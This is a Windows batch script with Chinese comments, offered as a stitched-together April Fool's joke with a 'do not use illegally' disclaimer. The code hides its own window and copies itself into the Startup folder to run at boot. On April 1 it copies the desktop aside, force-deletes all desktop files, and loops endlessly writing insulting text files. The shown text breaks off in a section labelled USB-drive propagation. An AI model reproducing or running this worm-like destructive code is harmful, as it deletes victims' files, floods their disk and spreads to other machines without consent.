整合了网上的一些代码
切勿用于非法用途!!!
@echo off
::隐藏运行窗口功能
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
goto open
:open
if not exist "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FoolDay.bat" goto make
goto scan
:start1
::判断时间功能(实例中为4月1日)
if %date:~5,2% == 04 if %date:~8,2% == 01 goto start
goto open
:start
::在C盘储存桌面副本
xcopy "C:\Users\%username%\Desktop" C:\Desktopcopied /d /i>nul 2>nul
::清空桌面
del /f /s /q C:\Users\%username%\Desktop\*.*>nul 2>nul
goto 1
:1
(echo I'm a Fool-Day joke,fuck you.)>C:\Users\%username%\Desktop\%random%.txt
goto 1
:make
::开机自启功能
xcopy "%0" "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
goto open
:scan
::U盘传播功能
for %%i in (c d e f g h i j k